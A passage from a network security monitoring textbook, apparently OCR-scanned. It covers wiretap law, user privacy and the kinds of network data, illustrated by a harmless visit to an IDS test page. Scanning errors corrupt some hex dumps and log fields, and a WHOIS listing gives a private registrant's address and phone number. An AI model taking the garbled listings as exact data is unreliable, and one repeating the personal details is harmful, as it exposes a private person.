and state law, such as the so-called “Wiretap Act,” U.S. Code 18 § 2511. This
includes one key provision that indicates permission for network monitor-
ing which appears in 2511 (2)(a) (i):

It shall not be unlawful under this chapter for an operator of a
switchboard, or an officer, employee, or agent of a provider of
wire or electronic communication service, whose facilities are
used in the transmission of a wire or electronic communication,
to intercept, disclose, or use that communication in the normal
course of his employment while engaged in any activity which

is a necessary incident to the rendition of his service or to the
protection of the rights or property of the provider of that ser-
vice, except that a provider of wire communication service to the
public shall not utilize service observing or random monitoring
except for mechanical or service quality control checks.”

Other exceptions that seem to permit monitoring involve being a party
to the conversation, or obtaining consent. They appear in 2511 (2)(d):

It shall not be unlawful under this chapter for a person not acting
under color of law to intercept a wire, oral, or electronic com-
munication where such person is a party to the communication
or where one of the parties to the communication has given prior
consent to such interception unless such communication is inter-
cepted for the purpose of committing any criminal or tortious act
in violation of the Constitution or laws of the United States or of
any State.

3. 18 USC § 2511 - Interception and disclosure of wire, oral, or electronic communications
prohibited, 2511 (2)(a) (i) (http://www.law.cornell.edu/uscode/text/18/2511#2_a_i/).

4. 18 USC § 2511 - Interception and disclosure of wire, oral, or electronic communications
prohibited, 2511 (2)(d) (http://www.law.cornell.edu/uscode/text/18/2511#2_d/).

Network Security Monitoring Rationale 13
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The “party” and “consent” exceptions are more difficult to justify
than one might expect, but they are stronger than the “necessary incident”
exception.

As an example of state statutes, consider the Code of Virginia. Title 19.2,
Criminal Procedure, contains Chapter 6, Interception of Wire, Electronic or Oral
Communications. Section 19.2-62 in this chapter uses language that is very
similar to the federal statute, which seems to allow monitoring:

It shall not be a criminal offense under this chapter for any per-
son . .. (f) Who is a provider of electronic communication service
to record the fact that a wire or electronic communication was
initiated or completed in order to protect such provider, another
provider furnishing service toward the completion of the wire or
electronic communication, or a user of that service, from fraudu-
lent, unlawful or abusive use of such service.”

If these laws seem onerous, the situation in the European Union (EU) tends to be
“worse” from an NSM perspective. While it is important and proper to protect the
rights of network users, laws in the EU seem to place a high burden on security teams.
In my experience, CIRTS can deploy NSM operations in the EU, but lengthy and
complicated discussions with works councils and privacy teams are required. Add
a 6- to 12-month delay to any rollout plans in privacy-heightened areas.

How Can You Protect User Privacy During NSM Operations?

Given the need to protect user privacy, it is important to manage NSM
operations so that they focus on the adversary and not on authorized user
activity. For this reason, you should separate the work of CIRTs from foren-
sic professionals:

e CIRTs should perform analysis, watch malicious activity, and protect
authorized users and the organization.

e Forensic professionals should perform investigations, watch fraud, and
monitor abuse by authorized users, to protect the organization.

In other words, CIRTSs should focus on external threats, and forensic
teams should focus on internal ones. Certainly, the work of one may over-
lap with the other, but the key to maintaining separation is noticing when
one team’s work strays into the realm of the other team. Once the two have
been clearly separated, users will be more likely to trust that the CIRT has
their best interests at heart. (Chapter 9 expands on the operational con-
cerns of NSM as they relate to privacy and user rights.)

5. Title 19.2, Code of Virginia § 19.2-62(hitp://legl.state.va.us/cgi-bin/legp504.exe? 000+cod+19.2-62).
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A Sample NSM Test

Now that you know what NSM is, let’s take a look at an example of activity
that creates a network footprint, and then introduce how a few NSM tools
see that event. Chapters 6, 7, and 8 provide details about these tools and
data. The goal here is to give you a general sense of what NSM data looks
like. I want you to understand how NSM and its datatypes are different
from other security approaches and resources, such as firewalls, antivirus
software, and application logging. The rest of the book will explain how to
collect, analyze, and act on NSM data, so for now seek only to gain initial
familiarity with the NSM approach.

In this example, we use the Firefox web browser to visit http://www
.testmyids.com/, which I'T professionals use to test some types of security
equipment. As you can see in Figure 1-6, the page returns what looks like
the output of a Unix user ID (id) command run by an account with user
ID (UID) 0, such as a root user. This is not a real id command, but just a
webmaster’s simulation. Many tools aren’t configured to tell the difference
between a real security issue and a test, so visiting this website is a conve-
nient way to catch their attention.

@ MoZillalFirerox DEES
File Edit Wiew History Bookmarks Tools Help

{1 http:/fwww.testmyids.com/
<::| [r'}) www.testmyids.com v @] [, Google Q| ﬁ

uid=0(root) gid=0(root) groups=0(root)

Figure 1-6: Visiting http://www.testmyids.com/ with Firefox

The main local evidence of a visit to the http://www.testmyids.com/
website would probably be the user’s web browser history. But on the net-
work, the Firefox web browser and the Attp://www.testmyids.com/ web server
together generate three sets of data relevant to the NSM approach:

1. The browser generates a Domain Name System (DNS) request for
hittp://www.testmyids.com/, and receives a reply from a DNS server.

The browser requests the web page, and the web server replies.

3. Finally, the web browser requests a Favorite icon from the web server,
and the web server replies.

Network Security Monitoring Rationale 15
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Other traffic, such as lower-level Address Resolution Protocol (ARP) requests and
replies may also occur, but they are not germane to this discussion.

The exact mechanics of this activity are not important for this example.
What is important is recognizing that all activity on a network creates traffic.
NSM operators can capture this network traffic using any number of tools,
and then can examine the captured data.

The Range of NSM Data

Chapter 1

This section introduces multiple ways to analyze and view NSM data. Later
chapters discuss the tools used to collect and analyze this data. NSM data
may include the following:

e  Full content

e FExtracted content
e Session data

e Transaction data
e Statistical data

e Metadata

e Alert data

Full Content Data

For our purposes, when we collect full content data, we’re collecting all infor-
mation that passes across a network. We aren’t filtering the data to collect
only information associated with security alerts. We’re not saving applica-
tion logs. We're making exact copies of the traffic as seen on the wire.

When security analysts work with full content data, they generally review
it in two stages. They begin by looking at a summary of that data, represented
by “headers” on the traffic. Then they inspect some individual packets.

Reviewing a Data Summary

Listing 1-1 shows an example of data collected by running the tool Tcp-
dump while the Firefox web browser visited Atlp://www.testmyids.com/. The
IP address of the computer running the web browser is 192.168.238.152,
and the IP address of the web server hosting http://www.testmyids.com/ is
217.160.51.31. The IP address of the DNS server is 192.168.238.2.

19:09:47.398547 IP 192.168.238.152.52518 > 192.168.238.2.53:
3708+ A? www.testmyids.com. (35)

19:09:47.469306 IP 192.168.238.2.53 > 192.168.238.152.52518:
3708 1/0/0 A 217.160.51.31 (51)
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19:09:47.469646 IP 192.168.238.152.41482 > 217.160.51.31.80:
Flags [S], seq 953674548, win 42340, options [mss 1460,sackOK,TS val 75892
ecr 0,nop,wscale 11], length 0

19:09:47.594058 IP 217.160.51.31.80 > 192.168.238.152.41482:
Flags [S.], seq 272838780, ack 953674549, win 64240, options [mss 1460],
length o

19:09:47.594181 IP 192.168.238.152.41482 > 217.160.51.31.80:
Flags [.], ack 1, win 42340, length 0

19:09:47.594427 IP 192.168.238.152.41482 > 217.160.51.31.80:
Flags [P.], seq 1:296, ack 1, win 42340, length 295

19:09:47.594932 IP 217.160.51.31.80 > 192.168.238.152.41482:
Flags [.], ack 296, win 64240, length 0

19:09:47.714886 IP 217.160.51.31.80 > 192.168.238.152.41482:
Flags [P.], seq 1:316, ack 296, win 64240, length 315

19:09:47.715003 IP 192.168.238.152.41482 > 217.160.51.31.80:
Flags [.], ack 316, win 42025, length 0

-- snip --

19:09:50.018064 IP 217.160.51.31.80 > 192.168.238.152.41482:
Flags [FP.], seq 1958, ack 878, win 64240, length 0

19:09:50.018299 IP 192.168.238.152.41482 > 217.160.51.31.80:
Flags [F.], seq 878, ack 1959, win 42025, length 0

19:09:50.018448 IP 217.160.51.31.80 > 192.168.238.152.41482:
Flags [.], ack 879, win 64239, length 0

Listing 1-1: Tepdump output showing headers

The output in Listing 1-1 shows only packet headers, not the content of
the packets themselves.

Inspecting Packets

After looking at a summary of the full content data, security analysts

select one or more packets for deeper inspection. Listing 1-2 shows the
same headers as seen in the sixth packet shown in Listing 1-1 (timestamp
19:09:47.594427), but with the layer 2 headers listed first. Layer 2 headers

are just another aspect of the packet we can see. They involve the hardware-
level addresses, or Media Access Control (MAC) addresses used by computers
to exchange data. Furthermore, the headers are now followed by payloads,
with a hexadecimal representation on the left and an ASCII representation
on the right.

Network Security Monitoring Rationale 17
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19:09:47.594427 00:0c:29:fc:b0:3b > 00:50:56:fe:08:d6, ethertype IPv4 (0x0800), length 349:
192.168.238.152.41482 > 217.160.51.31.80: Flags [P.], seq 1:296, ack 1, win 42340, length 295

0x0000:
0x0010:
0x0020:
0x0030:
0x0040:
0x0050:
0x0060:
0x0070:
0x0080:
0x0090:
0x00a0:
0x00b0:
0x00cO0:
0x00d0:
0x00e0:
0x00f0:
0x0100:
0x0110:
0x0120:
0x0130:
0x0140:
0x0150:

0050 56fe 08d6 000c 29fc bo3b 0800 4500 .PV.....)..;..E.
014f c342 4000 4006 ba65 c0a8 ee98 d9ao .0.B@.@..e......
331f a20a 0050 38d7 eb35 1043 307d 5018 3....P8..5.CO}P.
a564 180c 0000 4745 5420 220 4854 5450 .d....GET./.HTTP
2131 2e31 0doa 486f 7374 3a20 7777 772e /1.1..Host:.www.
7465 7374 6d79 6964 732e 636f 6dod 0a55 testmyids.com..U
7365 722d 4167 656e 743a 204d 6f7a 696c ser-Agent:.Mozil
6c61 235 2e30 2028 5831 313b 2055 6275 la/5.0.(X11;.Ubu
6e74 753b 204c 696e 7578 2078 3836 5f36 ntu;.Linux.x86_6
343b 2072 763a 3138 2e30 2920 4765 636b 4;.rv:18.0).Geck
6f2f 3230 3130 3031 3031 2046 6972 6566 0/20100101.Firef
6178 231 382e 300d 0a41 6363 6570 743a 0x/18.0..Accept:
2074 6578 742f 6874 6d6c 2c61 7070 6¢c69 .text/html,appli
6361 7469 6f6e 278 6874 6d6c 2b78 6d6Cc cation/xhtml+xml
2c61 7070 6¢69 6361 7469 6f6e 278 6d6c ,application/xml
3b71 3d30 2e39 2c2a 2f2a 3b71 3d30 2e38 ;q=0.9,*/%*;q=0.8
0d0a 4163 6365 7074 2d4c 616e 6775 6167 ..Accept-Languag
653a 2065 6e2d 5553 2c65 6e3b 713d 302e e:.en-US,en;qg=0.
350d 0a41 6363 6570 742d 456e 636 6469 5..Accept-Encodi
6e67 3220 677a 6970 2c20 6465 666C 6174 ng:.gzip,.deflat
650d 0a43 6f6e 6e65 6374 696 6e3a 206b e..Connection:.k
6565 702d 616Cc 6976 650d 0a0d Oa eep-alive....

Listing 1-2: Tecpdump output showing content

18 Chapter 1

Notice how this listing includes much more information than the
headers in Listing 1-1. Not only do you see full header information (MAC
addresses, IP addresses, IP protocol, and so on), but you also see the higher-
level content sent by the web browser. You can read the GET request, the
user agent, some HyperText Transfer Protocol (HTTP) headers (Accept,
Accept-Language, Accept-Encoding, and so on). Although it appears a bit
unwieldy in this format, the granularity is undeniable.

Using a Graphical Tool to View the Traffic

We can look at this same full content traffic with a graphical tool like Wire-
shark (http://www.wireshark.org/), as shown in Figure 1-7. Wireshark is an open
source protocol analysis suite with a rich set of features and capabilities. In
Figure 1-7, I've highlighted the packet showing a GET request, corresponding
to the same packet depicted in Listing 1-2.

Clearly, if you have access to full content data, there are few limits to
the sorts of analysis you can conduct. In fact, if you have all the traffic pass-
ing on the wire, you can extract all sorts of useful information.

The next section shows how to assemble packets to capture interactions
between computers, including messages and files transferred.
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Fiker: | [ ] Expression... crear apply save
No. Time Source Destination Protocol Length Info
1 19:09:47.398547 192.168.238.152 192.168.238.2 DNS 77 standard query Ox0e7c A www.Testmyids.com
219:09:47.469306 192.168.238.2 192.168.238.152 DNS 93 standard query response Ox0Oefc A 217.160.51.31
319:09:47.469646 192.168.238.152 217.160.51.31 TEE 74 41482 > http [SYN] Seq=0 win=42340 Len=0 M55=1460 SACK_PERM=1
419:09:47. 217.160.51.31 192.168.238.152 TCP 60 http > 41482 [S5YN, ACK] Seq=0 Ack=1 Win=64240 Len=0 M55=1460
519:09: 192.168.238.152 217.160.51.31 e 60 41482 > http [ACK] Segq=1 Ack=1 win=42340 Len=0
349 GET / HTTP/1.

719:09:47.594932 217.160.51.31 192.168.238.152 TCP 60 http > 41482 [ACK] Seq=1 Ack=296 Win=64240 Len=0
£ 19:09:47.714886 217.160.51.31 192.168.238.152 HTTP 369 HTTP/1.1 200 OK (text/html)
919:09:47.715003 192.168.238.152 217.160.51.31 TCP 60 41482 > hrtp [AcK] Seq=296 Ack=316 win=42025 Len=0

10 19:09:47.761724 192.168.238.152 217.160.51.31 HTTP 330 GET /favicon.ico HTTP/1.1

11 19:09:47.761938 217.160.51.31 192.168.238.152 TCP 60 http > 41482 [ACK] 5Seq=316 Ack=572 Win=64240 Len=0

12 19:09:47. 881783 217.160.51.31 192.168.238.152 HTTP 875 HTTP/1.1 404 Not Found (text/html)

13 19:09:47. 881902 192.168.238.152 217.160.51.31 TCP 60 41482 > http [ACK] Seq=572 Ack=1137 Win=42025 Len=0

14 19:09:47.883058 192.168.238.152 217.160.51.31 HTTP 360 GET /favicon.ico HTTP/1.1

15 19:09:47. 883473 217.160.51.31 192.168.238.152 TCP 60 http > 41482 [ACK] Seq=1137 Ack=878 Win=64240 Len=0

16 19:09:48.009385 217.160.51.31 192.168.238.152 HTTP 875 HTTP/1.1 404 Not Found (text/html)

17 19:09:48.047178 192.168.238.152 217.160.51.31 TCP 60 41482 > hrtp [AcK] Seq=878 Ack=1958 win=42025 Len=0

18 19:09:50.018064 217.160.51.31 192.168.238.152 e 60 http > 41482 [FIN, PSH, ACK] 5eq=1958 Ack=878 wWin=64240 Len=0

19 19:09:50.018299 192.168.238.152 217.160.51.31 TCP 60 41482 > http [FIN, ACK] Seg=878 Ack=1959 win=42025 Len=0

20 19:09:50.018448 217.160.51.31 192.168.238.152 TCP 60 http > 41482 [ACK] 5eq=1959 Ack=879 Win=64239 Len=0

4 T ] N

Frame &: 349 bytes on wire (2792 bits), 349 bytes captured (2792 bits)
Ethernet II, src: vmware_fc:b0:3b (00:0c:29:fc:b0:3b), Dst: vmware fe:08:d6 (00:50:56:fe:08:d6)
Internet Protocol version 4, src: 192.168.238.152 (192.168.238.152), Dst: 217.160.51.31 (217.160.51.31)
Transmission Control Protocol, Src Port: 41482 (41482), Dst Port: http (80), Seq: 1, Ack: 1, Len: 295
=]
s /oo |
Host: www.testmyids.com\rin
user-agent: Mozilla/5.0 (x11; ubuntu; Linux x86_64; rv:18.0) Gecko,/20100101 Firefox/18.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;g=0.8\r\n
Accept-Language: en-us,en;g=0.35\r\n
Accept-encoding: gzip, deflate\rin
connection: keep-alive\rin
\rin

[Full request URI: http://www.testmyids.com/]

0000 00 50 56 fe 08 d6 00 Oc 29 fc b0 3b 08 00 45 00

Ldo..
0040 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 77 77 77 2e /1.1, .Ho ST: www.
0050 74 65 73 74 6d 79 69 64 73 Ze 63 6f 6d 0d 0a 55 testmyid s.com..u
0060 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6Cc  ser-Agen t: Mozil
0070 &c 61 2f 35 2e 30 20 28 58 31 31 3b 20 55 62 75 la/5.0 ( x11; ubu
0080 6e 74 75 3b 20 4c 69 6e 75 78 20 78 38 36 5f 36 ntu; Lin ux x86_6 S

@ [7 | File: "C:\Users\richardh\ Documents\capledit... | Packets: 20 Displayed: 20 Marked: 0 Load time: 0:00.085 Profile: Default

Figure 1-7: Wireshark'’s rendition of web browsing traffic

Extracted Content Data

Extracted content refers to high-level data streams—such as files, images,
and media—transferred between computers. Unlike with full content data,
which includes headers from lower levels of the communication process,
with extracted content, we don’t worry about MAC addresses, IP addresses,
IP protocols, and so on. Instead, if two computers exchange a file, we review
the file. If a web server transfers a web page to a browser, we review the web
page. And, if an intruder transmits a piece of malware or a worm, we review
the malware or worm.

Wireshark can depict this content as a stream of data, as shown in
Figure 1-8. The GET message shows content sent from the web browser to
the web server. The HTTP/1.1 message shows content sent from the web
server back to the web browser. (I've truncated the conversation to save
space.) Then the web client makes a request (GET /favicon.ico), followed
by another reply from the web server (HTTP/1.1 404 Not Found).
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rStream Content

GET / HTTP/1.1 -
HOST: www.testmyids.com =
User-Agent: Mozilla/5.0 (x11; ubuntu; Linux x86_64; rv:18.0) Gecko/20100101
Firefox/18.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;g=0.8
Accept-Language: en-uUs,en;g=0.5

Accept-Encoding: gzip, deflate

connection: keep-alive

m

HTTP/1.1 200 OK

Date: Wed, 16 Jan 2013 19:09:47 GMT

server: Apache

Last-Modified: Mon, 15 Jan 2007 23:11:55 GMT
ETag: "61c22f22-27-4271c5flac4c0”
Accept-Ranges: bytes

Content-Length: 39 —
Keep-Alive: timeout=2, max=200

Connection: Keep-Alive

Content-Type: text/html

uid=0(root) gid= U(root) groups =0(root)

GET /fawvicon.ico HTTP

HOST: www.testmyids. com

User-Agent: Mozilla/5.0 (xd1; ubuntu; Linux x86_64; rv:18.0) Gecko/20100101
Firefox/18.0

Accept: image/png,image/*;q=0.8,%/%;g=0.5

Accept-Language: en-uUs,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

HTTP/1.1 404 Not Found

Date: Wed, 16 Jan 2013 19:09:47 cMT
Server: Apache

Content-Length: 640

Keep-Alive: timeout=2, max=199
Connection: Keep-Alive
Content-Type: text/html

|Er1tire conversation (2834 bytes) |z|

l Eind ” Save As “ PBrint 1 ASCH @ EBCDIC @) Hex Dump @ CArrays @ Raw

Filter Out This Stream | | — ]

Figure 1-8: Wireshark’s rendition of extracted content

When you visit a website, the actions that produce the messages shown
in Figure 1-8 are happening behind the scenes to get you the content you
want. Security teams can analyze this data for suspicious or malicious con-
tent. For example, intruders may have injected links to malicious websites
into websites trusted by your users. NSM professionals can find these evil
links and then learn if a user suffered a compromise of his computer.

In addition to viewing web browsing activity as text logs or data streams,
it can be helpful to see reconstructions of a web browsing session. As you can
see in Figure 1-9, the open source tool Xplico (hitp://www.xplico.org/) can
rebuild a web page whose content was captured in network form.

Figure 1-9 shows an Xplico case where the analyst chooses to rebuild the
hitp://www.testmyids.com/ website. With a tool like Xplico, you don’t need to
look at possibly cryptic messages exchanged by web servers and web browsers.
Xplico and other network forensic tools can try to render the website as
seen by the user.

For the past several years, NSM practitioners have extracted content
from network traffic in order to provide data to other analytical tools and
processes. For example, NSM tools can extract executable binaries from
network streams. Analysts can save and submit these artifacts to antivirus
engines for subsequent analysis. They can also reverse engineer the samples
or “detonate” them in a safe environment for deeper examination.

Now we will continue with a new form of NSM data: session data.
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e
Firefox ~

12 Xplico .:Webs:..
P B-
Xplico Interface xplico

Help Forum  Wiki  Change password Licenses

= | BJ- splico defautt credentials

For a complete view of html page set your browser to use Proxy, and point it to Web server.

Web URLs: @ Html O Image @ Flash © Video © Audio @ JSON (7]
Search: Go
Date Url Size Method  Info
2013-01-1619:09:47  www.testmyids.com/ 39 GET  infoxml
2013-01-1619:09:47  www.testmyids.comifavicon.ico 640 GET  infoxml
2013-01-1619:09:47  www.testmyids.comifavicon.ico 640 GET  infoxml

@ Mozilla Firefox

enhance

e T i

& https://192.168.238.152:9876/webs/resBody/1

8 2007-2012 Gianluca sta & Andrea de Franceschi. All Rights Reserved

vid=0(root) gid=0(root) groups=0(root)

Figure 1-9: Xplico’s rendition of the http://www.testmyids.com/ website

Session Data

Session data is a record of the conversation between two network nodes. An
NSM tool like Bro (http://www.bro.org/) can generate many types of logs
based on its inspection of network traffic. Listing 1-3 shows an excerpt from
the Bro conn.log that corresponds to the web browsing activity discussed in
“Full Content Data” on page 16.

#fields

ts uid id.orig_h id.orig p id.resp h id.resp p
proto service duration orig bytes resp bytes conn_state local orig missed bytes
history orig pkts orig ip bytes resp pkts resp _ip bytes tunnel parents orig cc resp cc

#types

time string addr port addr port
enum  string interval count count string bool count
string count count count count  table[string] string string

2013-01-16T19:09:47+0000® 90E6goBBSW3 192.168.238.152@ 41482©  217.160.51.31@

800@ tcp@® http 2.548653 8770 19570© SF T 0

ShADadfF 9 1257 9 2321 (empty) - DE
2013-01-16T19:09:47+0000 49vu9nUQyJf 192.168.238.152 52518 192.168.238.2

53 udp dns 0.070759 35 51 SF T 0

Dd 1 63 1 79 (empty) - -

Listing 1-3: Sample session data from the Bro connection log (conn.log)

Session data collapses much of the detail into core elements, including
the timestamp @, source IP address @, source port ®, destination IP address
0, destination port ®, protocol ®, application bytes sent by the source @,
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application bytes sent by the destination ®, and other information. One
could generate session data from full content data, but if hard drive space
is at a premium, then logging only session data might be a good option.

The open source session data tool Argus (Attp://www.qosient.com/argus/)
can also generate records for this traffic, as shown in Listing 1-4.

StartTime Flgs Proto SrcAddr Sport Dir DstAddr Dport
TotPkts  TotBytes State

19:09:47.398547 e udp 192.168.238.152.52518 <-> 192.168.238.2.53
2 170  CON

19:09:47.469646 e tep 192.168.238.152.41482  -> 217.160.51.31.80
18 3892 FIN

Listing 1-4: Sample session data from Argus

The open source tool Sguil (http://www.sguil.net/) can also be used to
view session data. Sguil traditionally used the SANCP tool (http://nsmwiki
.0rg/SANCP) to collect session data and render it as shown in Figure 1-10.

Start Time End Time SPort DstIP S Pckts Bytes | DPckts | D Bytes

sovm-eth1
sovm-eth1

5.1358363387000000183 2013-01-16 19:09:47 2013-01-1619:09:50  192.168.238.152 41482 217.160.51.31 80 6 2 1077 9 2141
5.1358363387000000182 2013-01-16 19:09:47 2013-01-1619:09:47  192.168.238.152 52518 192.168.238.2 53 7 1 43 1 59

Figure 1-10: Sguil's rendition of session data collected by SANCP

Session data tends to focus on the call details of network activity. This
information includes who spoke, when, and how, and the amount of informa-
tion each party exchanged. The nature of those exchanges is not usually
stored in session data. For that, we turn to transaction data.

Listings 1-3 and 1-4 and Figure 1-10 each show slightly different output. We'll exam-
ine why later in the book.

Transaction Data

Transaction data is similar to session data, except that it focuses on under-
standing the requests and replies exchanged between two network devices.

We’ll use Bro to explore an example of transaction data. As you can see
in Listing 1-5, reviewing Bro’s At{p.log shows the request and reply between a
web browser and web server.

2013-01-16T19:09:47+0000 90E6g0BBSW3 192.168.238.152 41482 217.160.51.31 80
1 GETO® www. testmyids.com / - Mozilla/5.0 (X11; Ubuntu;
Linux x86_64;

1v:18.0) Gecko/20100101 Firefox/18.0 0 39 2000 0K - -
- (empty) - - - text/plain - -
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2013-01-16T19:09:47+0000 90E6g0BBSW3 192.168.238.152 41482  217.160.51.31 80

2 GET® www. testmyids.com /favicon.ico - Mozilla/5.0 (X11; Ubuntu;
Linux x86_64;

1v:18.0) Gecko/20100101 Firefox/18.0 0 640 4040 Not Found - -
- (empty) - - - text/html - -

2013-01-16T19:09:47+0000 90E6g0BBSW3 192.168.238.152 41482 217.160.51.31 80
3 GET® www. testmyids.com /favicon.ico - Mozilla/5.0 (X11; Ubuntu;
Linux x86_64;

1v:18.0) Gecko/20100101 Firefox/18.0 0 640 4040 Not Found - -
- (empty) - - - text/html - -

Listing 1-5: Sample transaction data from a Bro HTTP log (http.log)

These records show the web browser’s GET request for the web root / @,
followed by one request for a favicon.ico file ®, and a second request for a
Savicon.ico file ®. The web browser responded with a 200 0K for the web root
GET request @ and two 404 Not Found responses for the favicon.ico file ©.

This is just the sort of information a security analyst needs in order
to understand the communication between the web browser and the web
server. It’s not as detailed as the full content data, but not as abstract as
the session data. Think of it this way: If full content data records every
aspect of a phone call, and session data tells you only who spoke and for
how long, then transaction data is a middle ground that gives you the gist
of the conversation.

Let’s briefly look at transaction data for a different aspect of the sample
web browsing activity: DNS requests and replies, as shown in Listing 1-6.
Again, we don’t need all the granularity of the full content data, but the
session data would just show that an exchange took place between the two
computers. Transaction data gives you a middle ground with some detail,
but not an excessive amount.

2013-01-16T19:09:47+0000 49vu9nUQyJf 192.168.238.152 52518
192.168.238.2 53 udp 3708 www. testmyids.com 1 C_
INTERNET 1 A 0 NOERROR F F T T

0 217.160.51.31  5.000000

Listing 1-6: Sample transaction data from a Bro DNS log (dns.log)

Bro and other NSM tools can render various forms of transaction data,
as long as the software understands the protocol being inspected.

You may get the sense that transaction data is the “perfect” form
of NSM data; it’s not too hot and not too cold. However, each datatype
has its uses. I will show why this is true when we look at tools in detail in
Chapters 6, 7, and 8, and at case studies in Chapters 10 and 11.
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Statistical Data

Statistical data describes the traffic resulting from various aspects of an
activity. For example, running the open source tool Capinfos (packaged
with Wireshark) against a file containing stored network traffic gives the
results shown in Listing 1-7. The example shows key aspects of the stored
network traffic, such as the number of bytes in the trace (file size), the
amount of actual network data (data size), start and end times, and so on.

File name:

File type:

File encapsulation:
Packet size limit:
Number of packets:
File size:

Data size:

Capture duration:
Start time:

End time:

Data byte rate:
Data bit rate:

Average packet size:
Average packet rate:

SHA1:

RIPEMD160:

MD5:

Strict time order:

capledit.pcap

Wireshark/tcpdump/... - libpcap

Ethernet

file hdr: 65535 bytes

20

4406 bytes

4062 bytes

3 seconds

Wed Jan 16 19:09:47 2013

Wed Jan 16 19:09:50 2013

1550.44 bytes/sec

12403.52 bits/sec

203.10 bytes

7.63 packets/sec
€053c72172d9801d9893c8a266e9bbobdd1824b
8d55bec02ce3fcb277a27052727d15atba6822cd
7b3ba0ee76b7d3843b14693ccb737105

True

Listing 1-7: Statistical data from Capinfos

This is one example of statistical data, but many other versions can be
derived from network traffic.

Wireshark provides several ways to view various forms of statistical data.
The first is a simple description of the saved traffic, as shown in Figure 1-11.
This figure shows information similar to that found in the Capinfos exam-
ple in Listing 1-7, except that it’s generated within Wireshark.

Wireshark also provides protocol distribution statistics. Figure 1-12
shows traffic broken down by type and percentages.

In Figure 1-12, you can see that the trace consists of all IP version 4
(IPv4) traffic. Within that protocol, most of the activity is Transmission
Control Protocol (TCP), at 90 percent. The remaining 10 percent is User
Datagram Protocol (UDP). Within the TCP traffic, all is HTTP, and within
the UDP traffic, all is DNS. Analysts use these sorts of breakdowns to iden-

tify anomalies that could indicate intruder activity.
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File

Mame: Ch\Users\richard\Documents\capl edit.pcap
Length: 4406 bytes

Format: Wireshark/tcpdumpy... - libpcap
Encapsulation: Ethernet

Packet size limit: 65535 bytes

Time
First packet: 2013-01-16 14:09:47
Last packet: 2013-01-16 14:09:50
Elapsed: 00:00:02

Capture

[Capture file comments

Interface Dropped Packets Capture Filter Link type Packet size limit

unknown unknown unknown Ethernet 65535 bytes
Display

Display filter: none

Ignored packets: 0
Traffic 4 Captured o Displayed 4 Marked 1
Packets 20 20 0
Between first and last packet 2,620 sec
Avg. packets/sec 7.634
Avg. packet size 203.100 bytes
Bytes 4062
Avg. bytes/sec 1550.440
Avg. MBit/sec 0.012

B [P | S—-———"

Figure 1-11: Basic Wireshark statistical data

Display filter: none

Protocol % Packets Packets % Bytes Bytes Mbit/s End Packets End Bytes End Mbit/s
| 10000% 20| 10000% 4062 0
B Ethernet 20 4062 0.012 0 0 0000
B Intemet Protocol Version 4 20 4062 0.012 0 0 0000
= User Datagram Protocol l 10.00 % 2] 419 % 170 0.001 0 0 0.000
Domain Name Service I 1000z 2] a19% 170 0001 2 10 0001
= Transmission Control Protocol 18 3892 0012 12 74 0002
B Hypertext Transfer Protocol — [JB000% o [EEEIES 3158 0010 3 1039 0003
Line-based text data W 3 ERT% 219 o006 32119 0006
Figure 1-12: Wireshark protocol distribution statistics
Network Security Monitoring Rationale 25
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Another form of statistical data gen-

) . Topic / Item Count Rate (ms) Percent
erated by Wireshark is packet length sta- o Praeilahe 0007634
tistics, as shown in Figure 1-13. 0-19 0 0.000000 0.00%
Figure 1-13 shows that the majority 20-39 0 0.000000 0.00%
of the traffic has packet lengths of 40 40-79 13 0004962 65.00%
to 79 bytes. In some organizations, this 80139 1o 0000382 5.00%
o . . 160-319 0 0000000 0.00%
could indicate suspicious or malicious
itv. T 1 N 320-639 4 0001527 2000%
activity. For example, an attacker con- 604279 2 0000763 10.00%
ducting a distributed denial-of-service 1280-2550 0 0.000000 0.00%
(DDoS) attack might generate millions 2560-5119 0 0000000 0.00%
0

of smaller packets to bombard a target. 5120- 0.000000 0.00%

That is not the case here; the packets

are mainly 40 to 79 bytes, or 320 to 1279

bytes.

Metadata, discussed next, is related Figure 1-13: Wireshark packet length
to statistical data, and is just as valuable. statistics
Metadata

Metadata is “data about data.” In order to generate metadata, we extract
key elements from network activity, and then leverage some external tool

to understand it. For example, we have seen many IP addresses in the traffic
thus far. Who owns them? Does their presence indicate a problem for us?
To answer those questions, we could inspect the domains and IP addresses
for the traffic and retrieve metadata, beginning with a query of the WHOIS
database for IP information, as shown in Listing 1-8.

3%

This is the RIPE Database query service.
The objects are in RPSL format.

3R 3% 3R

The RIPE Database is subject to Terms and Conditions.
See http://www.ripe.net/db/support/db-terms-conditions.pdf

3R

B

Note: this output has been filtered.
To receive output for a database update, use the "-B" flag.

3R

% Information related to '217.160.48.0 - 217.160.63.255"

inetnum: 217.160.48.0 - 217.160.63.255
netname: SCHLUND-CUSTOMERS

descr: 181 Internet AG

descr: NCC#1999110113

country: DE

admin-c: IPAD-RIPE

tech-c: IPOP-RIPE

remarks: in case of abuse or spam, please mailto: abuse@oneandone.net
status: ASSIGNED PA

mnt-by: AS8560-MNT

source: RIPE # Filtered

-- snip --
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% Information related to '217.160.0.0/16AS8560"

route: 217.160.0.0/16
descr: SCHLUND-PA-3
origin: AS8560

mnt-by: AS8560-MNT
source: RIPE # Filtered

% This query was served by the RIPE Database Query Service version 1.50.5

(WHOIS1)

Listing 1-8: WHOIS output for IP address

Next, query WHOIS for domain information, as shown in Listing 1-9.

Domain Name: TESTMYIDS.COM

Registrar: TUCOWS DOMAINS INC.

Whois Server: whois.tucows.com

Referral URL: http://domainhelp.opensrs.net
Name Server: NS59.1AND1.CO.UK

Name Server: NS60.1AND1.CO.UK

Status: ok

Updated Date: 11-aug-2012

Creation Date: 15-aug-2006

Expiration Date: 15-aug-2014

>>> Last update of whois database: Wed, 16 Jan 2013 21:53:46 UTC <<<

-- snip --

Registrant:

Chas Tomlin

7 Langbar Close

Southampton, HAMPSHIRE S019 73JH
GB

Domain name: TESTMYIDS.COM

Administrative Contact:
Tomlin, Chas chas.tomlin@net-host.co.uk
7 Langbar Close
Southampton, HAMPSHIRE S019 73JH
GB
+44.2380420472
Technical Contact:
Ltd, Webfusion services@123-reg.co.uk
5 Roundwood Avenue
Stockley Park
Uxbridge, Middlesex UB11 1FF
GB
+44.8712309525 Fax: +44.8701650437
-- snip --

